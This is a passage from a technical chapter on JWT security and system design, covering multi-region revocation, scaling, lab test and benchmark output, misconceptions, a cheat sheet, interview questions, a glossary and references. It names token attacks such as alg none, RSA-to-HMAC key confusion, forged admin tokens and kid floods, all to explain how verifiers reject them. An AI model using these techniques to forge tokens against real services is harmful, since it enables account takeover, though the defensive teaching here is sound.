Distributed data: replicas, caches, regions
Signature checks work anywhere; state does not. A jti denylist written in eu-west is visible in us-east only after replication, so the effective revocation delay is the replication lag. Keys: publish one JWKS globally (CDN-cached with a short max-age), keep the private key in one KMS/HSM region or one per region with distinct kids. Clocks: every region needs NTP; leeway covers seconds, not minutes. Example: a multi-region API replicates the Redis denylist with active-active replication and accepts a few seconds of revocation lag; money transfers additionally introspect at the home region.
Scaling path: 1x, 10x, 100x
| Load | Design | What changes |
|---|---|---|
| 1x (100 req/s) | Monolith, Sanctum or Passport, database check per request | Nothing to optimise |
| 10x (1,000 req/s, several services) | IdP + JWT access tokens, JWKS cached per process, Redis MGET for revocation | Verification is about 25 to 40 us of CPU per request |
| 100x (100,000 req/s, many regions) | Edge validation (gateway/mesh), EdDSA/ES256, regional Redis denylist, token exchange for internal hops | 100,000 x 30 us = about 3 CPU cores of verification fleet-wide; RS256 signing at the token-exchange service becomes the bottleneck (0.70 ms each), so sign with EdDSA |
Lab
Programs 1 to 5 are single-process Go and were run for this chapter (output pasted). Experiments 6 and 7 are expected, not run.
1. Issue and decode a token.
$ cd docs/snippets/system-design/jwt-deep-dive/go
$ go run ./cmd/issue | go run ./cmd/decode
parts: 3 (JWS compact)
header (UNVERIFIED):
{
"alg": "EdDSA",
"kid": "ed-2026-11",
"typ": "at+jwt"
}
payload (UNVERIFIED):
{
"aud": [
"https://orders.example.com"
],
"client_id": "web-spa",
"exp": 1795654082,
"iat": 1795653482,
"iss": "https://id.example.com",
"jti": "358e6d41b8aea166e8bfeca96f5cdad4",
"nbf": 1795653482,
"scope": "orders:read",
"sid": "s-81f2",
"sub": "user-42",
"ver": 3
}
iat = 2026-11-26T00:38:02Z
nbf = 2026-11-26T00:38:02Z
exp = 2026-11-26T00:48:02ZEverything in the payload was readable without any key. That is the point of experiment 1.
2. Watch the naive verifier get fooled, and the strict one refuse.
$ go test -v -run TestForged ./before/
--- PASS: TestForgedTokenAccepted (0.06s) # forged HS256 admin token ACCEPTED by before/
$ go test -v -run 'TestAlgNone|TestRSAToHMAC|TestIDToken|TestHeaderAttacks' ./verify/
--- PASS: TestAlgNoneRejected (0.02s)
--- PASS: TestRSAToHMACKeyConfusionRejected (0.05s)
--- PASS: TestIDTokenIsNotAnAccessToken (0.03s)
--- PASS: TestHeaderAttacks (0.04s)3. Rotation and the unknown-kid flood.
$ go test -v -run 'TestRotation|TestUnknownKid|TestCacheControl' ./jwks/
--- PASS: TestRotation
--- PASS: TestUnknownKidFloodIsRateLimited # 1000 bogus kids -> 1 extra fetch
--- PASS: TestCacheControlAndStaleOnError # IdP 503 -> cached keys served, no hammering4. Revocation.
$ go test -v ./revocation/
--- PASS: TestDenylistByJTI
--- PASS: TestLogoutOneSession
--- PASS: TestTokenVersioningLogsOutEverywhere
--- PASS: TestRedisDownFailsClosedByDefault5. Cost and size.
$ go test -run x -bench . -benchmem ./verify/
BenchmarkVerifyHS256-12 374071 2741 ns/op 2876 B/op 51 allocs/op
BenchmarkVerifyRS256-12 49754 23744 ns/op 4104 B/op 55 allocs/op
BenchmarkVerifyPS256-12 49120 23837 ns/op 4087 B/op 61 allocs/op
BenchmarkVerifyES256-12 32222 37799 ns/op 3721 B/op 66 allocs/op
BenchmarkVerifyEdDSA-12 42100 28687 ns/op 2372 B/op 44 allocs/op
BenchmarkSign/HS256-12 571101 2122 ns/op
BenchmarkSign/RS256-12 1710 704731 ns/op
BenchmarkSign/ES256-12 63710 17908 ns/op
BenchmarkSign/EdDSA-12 85449 14627 ns/op
$ go run ./cmd/tokensize # table shown in "Size and performance"6. Against a real IdP with curl (expected, not run). Replace the issuer with yours.
$ curl -s https://id.example.com/.well-known/openid-configuration | jq '{issuer, jwks_uri}'
{ "issuer": "https://id.example.com", "jwks_uri": "https://id.example.com/.well-known/jwks.json" }
$ curl -sI https://id.example.com/.well-known/jwks.json | grep -i cache-control
cache-control: public, max-age=3600 # your cache TTL starts here
$ curl -s -o /dev/null -w '%{http_code}\n' -H "Authorization: Bearer $ID_TOKEN" https://api.example.com/orders
401 # typ is not at+jwt
$ curl -s -D - -o /dev/null -H "Authorization: Bearer $ACCESS_TOKEN" https://api.example.com/orders | head -1
HTTP/2 2007. Laravel (expected, not run).
$ composer require laravel/passport firebase/php-jwt
$ php artisan install:api --passport
$ php artisan passport:keys
$ php artisan test --filter=IdpJwtTest
PASS Tests\Feature\IdpJwtTest
✓ valid token is accepted
✓ rejections
✓ missing scope is forbidden
✓ revoked token is rejected
$ redis-cli --scan --pattern 'laravel_cache_jwt:*' # key prefix depends on config/cache.phpCommon misconceptions
| Belief | Reality |
|---|---|
| "JWTs are encrypted" | A JWS payload is base64url; anyone can read it. Only JWE hides claims |
| "A valid signature means a valid token" | You still need iss, aud, exp/nbf, typ and revocation checks |
"The alg header tells me how to verify" | The key you trust tells you; alg must merely match it |
"kid is harmless" | It is attacker input: never a file path, URL or SQL fragment |
| "HS256 is insecure" | It is fine with a 256-bit random secret; it is wrong when verifiers must not be able to mint tokens |
| "Logout is impossible with JWTs" | Short TTL + refresh revocation + sid/ver/jti checks give logout within seconds |
| "Denylist the token's hash" | Malleable encodings bypass it; denylist (iss, jti) |
| "Long access tokens save load" | They multiply the damage of every leak; refresh tokens exist for longevity |
| "The ID token can call my API" | Its audience is the client; check typ: at+jwt and aud |
| "HttpOnly cookies make XSS harmless" | They stop token theft, not actions through the victim's page |
| "Put all permissions in the token" | Tokens grow past header and cookie limits and permissions go stale |
| "Rotate by replacing the key" | Overlap: publish, wait a cache TTL, switch, wait for old tokens to expire, remove |
| "The gateway checked it, services can trust headers" | Only behind mTLS/network policy, and services should still check aud |
| "Passport tokens are stateless" | Passport checks revoked by jti in the database on every request |
| "Sanctum issues JWTs" | Sanctum tokens are opaque strings hashed with SHA-256; SPA mode uses session cookies |
Cheat sheet
| Topic | What to remember |
|---|---|
| Shape | JWS: 3 parts; JWE: 5 parts; base64url without padding |
| Algorithms | EdDSA/ES256 for new issuers, RS256 for compatibility, HS256 only inside one service |
| Allowlist | WithValidMethods; one key, one algorithm; never none |
| Header | Check typ; reject unknown crit; ignore jku, x5u, jwk, x5c; kid is a map key |
| Claims | iss exact, aud contains me, exp required, nbf/iat, sub, jti |
| Leeway | 30 to 60 s; fix NTP instead of raising it |
| Typing | at+jwt for access tokens (RFC 9068); ID tokens are for clients |
| JWKS | Discover from the issuer, cache with TTL, refresh on unknown kid at most every 30 s, serve stale on outage |
| Rotation | Publish new key, wait one cache TTL, sign with it, keep old key until last old exp + leeway + TTL |
| Lifetimes | Access 5 to 15 min; refresh rotated; Passport default 1 year, change it |
| Revocation | jti denylist with EXAT, sid, ver, one MGET; or introspection |
| Browser | BFF / HttpOnly cookie; no tokens in localStorage; DPoP for public clients |
| Size | Under about 1 KB; RS256 adds 342 chars; header buffers 8 KB in NGINX; cookies 4 KB |
| Cost | Verify about 3 us (HS256) to 38 us (ES256); RS256 sign 0.7 ms |
| Microservices | Validate at the edge and in each service with its own aud; token exchange; mTLS |
| Laravel | Passport = RS256 JWT + DB revoked; Sanctum = opaque or cookies; firebase/php-jwt for IdP tokens |
| Go | golang-jwt v5 + strict keyfunc; jwx v4 needs Go 1.26 |
Self-check: questions & answers
- Must-know asked in almost every interview
- Important frequent; expected at senior level
- Good to know extra depth that sets you apart
1 — A token's header says {"alg":"HS256","kid":"rsa-2026-11"} and your JWKS has an RSA key with that kid. What should happen and why? Must-know
Answer
Answer: Reject it. The key rsa-2026-11 is bound to RS256; a token claiming HS256 with that key is the key-confusion attack (the attacker HMAC-signs with the public key). RFC 8725 section 3.1: each key is used with exactly one algorithm, checked at verification time.
2 — Why is checking aud mandatory for a company with two APIs and one IdP, even though RFC 7519 marks aud optional? Must-know
Answer
Answer: Without it a token issued for API A is accepted by API B (a substitution attack, RFC 8725 section 2.7). RFC 8725 section 3.9: if one issuer issues JWTs for more than one relying party, the JWT MUST contain aud and the recipient MUST validate it.
3 — Your IdP publishes Cache-Control: max-age=86400 on its JWKS and rotates keys by swapping them. What breaks, and what do you change on both sides? Important
Answer
Answer: Verifiers that cached the old set reject new tokens (unknown kid) for up to a day unless they refresh on unknown kid, and tokens signed with the old key fail at verifiers that already refreshed. The IdP must overlap keys (publish ahead, keep the old key until old tokens expire); verifiers must refresh on unknown kid (rate-limited) and clamp the TTL.
4 — Name three ways to make "log out" effective before exp, and the per-request cost of each. Important
Answer
Answer: jti denylist (one Redis read), sid denylist (same read), per-user token version (same read; all three fit in one MGET); introspection (one HTTP call, cacheable); or simply a short TTL with refresh-token revocation (no per-request cost, delay up to the TTL).
5 — Why should you not denylist sha256(token)? Important
Answer
Answer: OWASP: JWT malleability (non-strict parsing, ECDSA signature malleability) lets an attacker present a different byte string that still verifies, bypassing a hash-based denylist. Use (iss, jti).
6 — An SPA stores its access token in localStorage. An XSS bug is found. What could the attacker do, and what design removes that class of theft? Must-know
Answer
Answer: Read the token (and any refresh token) and use it from anywhere until it expires. A BFF that keeps tokens server side and gives the browser an HttpOnly session cookie (or Laravel Sanctum's SPA cookie mode) means no token is reachable by JavaScript; DPoP makes stolen access tokens useless without the private key.
7 — What does typ: at+jwt protect against, and what do you do with an issuer that only emits typ: JWT? Good to know
Answer
Answer: Cross-JWT confusion: an ID token or another JWT from the same issuer being accepted as an access token. For a legacy issuer, accept JWT only for that issuer and separate kinds by audience (and required claims such as client_id/scope), per RFC 8725 section 3.12.
8 — A token-exchange service mints 3,000 tokens per second with RS256. Estimate the signing CPU and suggest a fix. Good to know
Answer
Answer: 3,000 x 0.70 ms = 2.1 CPU-seconds per second, about two cores just for signing (benchmark in this chapter). EdDSA signs in about 15 us, so the same load needs about 0.05 cores; verifiers must support EdDSA.
9 — Laravel Passport revokes a token with $token->revoke(). Will a separate Go service that verifies Passport tokens with the public key notice? Important
Answer
Answer: No. The revocation is a revoked flag in oauth_access_tokens that league/oauth2-server checks by jti inside the Laravel app. The Go service sees a valid signature until exp; it needs a short TTL, a shared denylist, or a call back to the Laravel app.
10 — When is JWE worth it, and why must you still verify a signature after decrypting? Good to know
Answer
Answer: When claims must travel through parties that must not read them (browser redirects, third-party proxies) and cannot be replaced by an opaque reference. Encryption with dir or a public key does not authenticate the sender, so sign first, encrypt second, and verify the inner JWS after decrypting (RFC 8725 section 3.3; OIDC: signed then encrypted).
11 — Your verifier refetches the JWKS on every unknown kid. What attack does this enable? Important
Answer
Answer: An attacker sends tokens with random kid values and turns every request into an outbound call to the IdP: a denial of service against the IdP and against your own latency. Rate-limit refreshes (once per 30 s here, 10 per second in firebase/php-jwt CachedKeySet).
Glossary
| Term | Meaning |
|---|---|
| JOSE | JSON Object Signing and Encryption: the family JWS, JWE, JWK, JWA, JWT |
| JWT | JSON Web Token (RFC 7519): a JSON claims set inside a JWS or JWE |
| JWS | JSON Web Signature (RFC 7515): signed or MACed content |
| JWE | JSON Web Encryption (RFC 7516): encrypted content, 5 compact parts |
| JWK | JSON Web Key (RFC 7517): a key as JSON |
| JWKS | JWK Set: {"keys":[...]}, usually at jwks_uri |
| JWA | JSON Web Algorithms (RFC 7518): the algorithm registry |
| Compact serialization | Dot-separated base64url parts (3 for JWS, 5 for JWE) |
| JSON serialization | General or flattened JSON form; supports several signatures or recipients |
| base64url | Base64 with - and _, no = padding (RFC 4648 section 5) |
| Header | JOSE header: alg, typ, kid, cty, crit... |
| Payload | The claims set (JWS) or plaintext (JWE) |
| Signature | MAC or digital signature over header.payload |
| alg | Header naming the signature or key-management algorithm |
| HS256 | HMAC with SHA-256; shared secret of at least 256 bits |
| RS256 | RSASSA-PKCS1-v1_5 with SHA-256 |
| PS256 | RSASSA-PSS with SHA-256 |
| ES256 | ECDSA on P-256 with SHA-256; 64-byte signature |
| EdDSA | Ed25519 signatures in JOSE (RFC 8037) |
| none algorithm | alg: none, an unsecured JWT; never accept across a network |
| Algorithm confusion | Making the verifier use a different algorithm than intended |
| Key confusion | RS256 to HS256: the public key used as an HMAC secret |
| kid | Key ID header: which key signed the token |
| jku | Header with a JWK Set URL; SSRF and key injection risk |
| x5u | Header with an X.509 certificate URL |
| x5c | Header with an X.509 certificate chain |
| jwk (header) | Public key embedded in the header; trusted only in DPoP-like designs |
| crit | Header listing extensions that must be understood |
| typ | Header with the media type of the JWT; at+jwt for access tokens |
| at+jwt | RFC 9068 explicit type for JWT access tokens |
| cty | Content type header; JWT for a Nested JWT |
| Nested JWT | A JWT used as the payload of another JWT (sign then encrypt) |
| iss | Issuer claim; must match the configured issuer exactly |
| sub | Subject claim: the user, or the client for client credentials |
| aud | Audience claim: who the token is for |
| exp | Expiration time: not valid on or after |
| nbf | Not-before time |
| iat | Issued-at time |
| jti | JWT ID: unique id for denylists and replay detection |
| NumericDate | Seconds since 1970-01-01T00:00:00Z UTC |
| Clock skew | Difference between issuer and verifier clocks |
| Leeway | Tolerance applied to exp/nbf/iat for clock skew |
| Audience validation | Rejecting tokens whose aud does not contain the verifier |
| Issuer validation | Exact iss match and keys that belong to that issuer |
| Key rotation | Replacing signing keys on a schedule or after compromise |
| Key rollover | The overlap procedure that rotates without rejecting valid tokens |
| JWKS caching | Keeping fetched keys for a TTL, refreshing on unknown kid |
| OIDC discovery | /.well-known/openid-configuration metadata with issuer and jwks_uri |
| Content encryption | The enc algorithm that encrypts the payload (A256GCM) |
| A256GCM | AES-256 in GCM mode: 96-bit IV, 128-bit tag |
| Key management mode | How the JWE content key is determined: key encryption, key wrapping, direct key agreement, key agreement with wrapping, direct encryption |
| RSA-OAEP | RSA key encryption with OAEP padding (prefer RSA-OAEP-256) |
| ECDH-ES | Elliptic-curve Diffie-Hellman ephemeral-static key agreement |
| dir | Direct encryption: the shared key is the content key |
| CEK | Content Encryption Key |
| Access token | Token presented to resource servers |
| ID token | OIDC token for the client, aud = client id |
| Refresh token | Long-lived token exchanged at the authorization server for new access tokens |
| Opaque token | Random reference string without readable content |
| Introspection | RFC 7662 endpoint returning active and metadata for a token |
| RFC 7662 | OAuth 2.0 Token Introspection |
| Revocation | Making a token invalid before exp |
| Denylist | Set of revoked token ids (jti), sessions (sid) or versions |
| Token versioning | Per-user counter; tokens with an older ver are rejected |
| sid | Session ID claim (OIDC); used for per-session logout |
| Back-Channel Logout | OIDC: IdP POSTs a logout+jwt to each RP |
| Short TTL | Short access-token lifetime, the cheapest revocation |
| Refresh token rotation | New refresh token on every use; reuse revokes the family |
| localStorage | Origin-wide persistent browser storage readable by any same-origin script |
| XSS | Cross-site scripting: attacker script running in your origin |
| BFF | Backend-for-Frontend: server component that holds tokens for a browser app |
| HttpOnly | Cookie attribute hiding the cookie from JavaScript |
| Replay | Reusing a captured token or message |
| Proof of possession | Binding a token to a key the presenter must prove it holds |
| cnf | Confirmation claim (RFC 7800) holding the PoP key or its thumbprint |
| DPoP | Demonstrating Proof of Possession (RFC 9449): per-request signed proof |
| Sender-constrained token | Token usable only with its bound key or certificate |
| Token exchange | RFC 8693: trade a token for another with a different audience; act claim |
| Token size | Bytes on the wire per request; drives header and cookie limits |
| Cookie limit | RFC 6265: browsers should support at least 4096 bytes per cookie |
| RFC 8725 | JWT Best Current Practices (BCP 225) |
| RFC 9068 | JWT profile for OAuth 2.0 access tokens |
| PASETO | Platform-Agnostic Security Tokens: versioned, no algorithm header |
| Biscuit | Attenuable authorization token with Datalog policies and Ed25519 |
| Macaroons | Bearer credentials with chained-HMAC caveats for attenuation |
| Passport | Laravel's OAuth 2.0 server package on league/oauth2-server |
| Sanctum | Laravel's lightweight package: opaque API tokens and SPA cookie auth |
| league/oauth2-server | PHP OAuth 2.0 server; builds RS256 JWT access tokens with lcobucci/jwt |
| tymon/jwt-auth | Third-party JWT authentication package for Laravel and Lumen |
| firebase/php-jwt | PHP JWS library with JWK parsing and CachedKeySet |
| golang-jwt | github.com/golang-jwt/jwt/v5, the common Go JWS library |
| jwx | github.com/lestrrat-go/jwx, full JOSE for Go (v4 needs Go 1.26) |
| invalid_token | RFC 6750 error code for any token validation failure (401) |
| insufficient_scope | RFC 6750 error code for a valid token without the scope (403) |
References
- Jones, Bradley, Sakimura. RFC 7519: JSON Web Token (JWT), May 2015. https://www.rfc-editor.org/rfc/rfc7519.txt
- Jones, Bradley, Sakimura. RFC 7515: JSON Web Signature (JWS), May 2015. https://www.rfc-editor.org/rfc/rfc7515.txt
- Jones, Hildebrand. RFC 7516: JSON Web Encryption (JWE), May 2015. https://www.rfc-editor.org/rfc/rfc7516.txt
- Jones. RFC 7517: JSON Web Key (JWK), May 2015. https://www.rfc-editor.org/rfc/rfc7517.txt
- Jones. RFC 7518: JSON Web Algorithms (JWA), May 2015. https://www.rfc-editor.org/rfc/rfc7518.txt
- Liusvaara. RFC 8037: CFRG ECDH and Signatures in JOSE, January 2017. https://www.rfc-editor.org/rfc/rfc8037.txt
- Sheffer, Hardt, Jones. RFC 8725: JSON Web Token Best Current Practices (BCP 225), February 2020. https://www.rfc-editor.org/rfc/rfc8725.txt
- Bertocci. RFC 9068: JWT Profile for OAuth 2.0 Access Tokens, October 2021. https://www.rfc-editor.org/rfc/rfc9068.txt
- Richer. RFC 7662: OAuth 2.0 Token Introspection, October 2015. https://www.rfc-editor.org/rfc/rfc7662.txt
- Jones, Hardt. RFC 6750: The OAuth 2.0 Authorization Framework: Bearer Token Usage, October 2012. https://www.rfc-editor.org/rfc/rfc6750.txt
- Lodderstedt, Dronia, Scurtescu. RFC 7009: OAuth 2.0 Token Revocation, August 2013. https://www.rfc-editor.org/rfc/rfc7009.txt
- Jones, Bradley, Tschofenig. RFC 7800: Proof-of-Possession Key Semantics for JWTs, April 2016. https://www.rfc-editor.org/rfc/rfc7800.txt
- Fett et al. RFC 9449: OAuth 2.0 Demonstrating Proof of Possession (DPoP), September 2023. https://www.rfc-editor.org/rfc/rfc9449.txt
- Campbell et al. RFC 8705: OAuth 2.0 Mutual-TLS Client Authentication and Certificate-Bound Access Tokens. https://www.rfc-editor.org/rfc/rfc8705.txt
- Jones et al. RFC 8693: OAuth 2.0 Token Exchange. https://www.rfc-editor.org/rfc/rfc8693.txt
- Jones, Sakimura, Bradley. RFC 8414: OAuth 2.0 Authorization Server Metadata, June 2018. https://www.rfc-editor.org/rfc/rfc8414.txt
- Lodderstedt et al. RFC 9700: Best Current Practice for OAuth 2.0 Security, January 2025. https://www.rfc-editor.org/rfc/rfc9700.txt
- Parecki, De Ryck, Waite. RFC 10017: OAuth 2.0 for Browser-Based Applications, August 2026. https://www.rfc-editor.org/rfc/rfc10017.txt (draft history: https://datatracker.ietf.org/doc/html/draft-ietf-oauth-browser-based-apps)
- Barth. RFC 6265: HTTP State Management Mechanism, section 6.1 Limits. https://www.rfc-editor.org/rfc/rfc6265.txt
- OpenID Foundation. OpenID Connect Core 1.0 incorporating errata set 2. https://openid.net/specs/openid-connect-core-1_0.html
- OpenID Foundation. OpenID Connect Discovery 1.0 incorporating errata set 2. https://openid.net/specs/openid-connect-discovery-1_0.html
- OpenID Foundation. OpenID Connect Back-Channel Logout 1.0. https://openid.net/specs/openid-connect-backchannel-1_0.html
- Tim McLean. Critical vulnerabilities in JSON Web Token libraries, Auth0 blog (2015). https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/
- PortSwigger Web Security Academy. JWT attacks. https://portswigger.net/web-security/jwt
- PortSwigger Web Security Academy. Algorithm confusion attacks. https://portswigger.net/web-security/jwt/algorithm-confusion
- OWASP Cheat Sheet Series. JSON Web Token Cheat Sheet. https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_Cheat_Sheet.html
- OWASP Cheat Sheet Series. HTML5 Security Cheat Sheet (local storage). https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html
- PASETO. https://paseto.io/ and specification https://github.com/paseto-standard/paseto-spec
- Eclipse Biscuit. https://www.biscuitsec.org/
- Birgisson et al. Macaroons: Cookies with Contextual Caveats for Decentralized Authorization in the Cloud (Google Research). https://research.google/pubs/macaroons-cookies-with-contextual-caveats-for-decentralized-authorization-in-the-cloud/
- Laravel 13. Passport. https://laravel.com/docs/13.x/passport
- Laravel 13. Sanctum. https://laravel.com/docs/13.x/sanctum
- Laravel 13. Cache, Middleware, HTTP Client, Authentication. https://laravel.com/docs/13.x/cache, https://laravel.com/docs/13.x/middleware, https://laravel.com/docs/13.x/http-client, https://laravel.com/docs/13.x/authentication
- Laravel Passport source (13.x):
HasApiTokens.php. https://raw.githubusercontent.com/laravel/passport/13.x/src/HasApiTokens.php - thephpleague/oauth2-server. https://github.com/thephpleague/oauth2-server and source
AccessTokenTrait.phphttps://raw.githubusercontent.com/thephpleague/oauth2-server/master/src/Entities/Traits/AccessTokenTrait.php,BearerTokenValidator.phphttps://raw.githubusercontent.com/thephpleague/oauth2-server/master/src/AuthorizationValidators/BearerTokenValidator.php - tymondesigns/jwt-auth. https://github.com/tymondesigns/jwt-auth
- firebase/php-jwt. https://github.com/firebase/php-jwt
- web-token/jwt-framework. https://github.com/web-token/jwt-framework
- golang-jwt/jwt v5. https://pkg.go.dev/github.com/golang-jwt/jwt/v5
- lestrrat-go/jwx. https://github.com/lestrrat-go/jwx
- go-jose/go-jose. https://github.com/go-jose/go-jose
- MicahParks/keyfunc v3. https://pkg.go.dev/github.com/MicahParks/keyfunc/v3
- Envoy. JWT Authentication filter. https://www.envoyproxy.io/docs/envoy/latest/configuration/http/http_filters/jwt_authn_filter
- Istio. RequestAuthentication. https://istio.io/latest/docs/reference/config/security/request_authentication/
- Kong. JWT plugin. https://developer.konghq.com/plugins/jwt/
- AWS. Control access to HTTP APIs with JWT authorizers. https://docs.aws.amazon.com/apigateway/latest/developerguide/http-api-jwt-authorizer.html
- AWS. Authenticate users using an Application Load Balancer. https://docs.aws.amazon.com/elasticloadbalancing/latest/application/listener-authenticate-users.html
- NGINX. ngx_http_core_module (
large_client_header_buffers). https://nginx.org/en/docs/http/ngx_http_core_module.html - Redis. SET. https://redis.io/docs/latest/commands/set/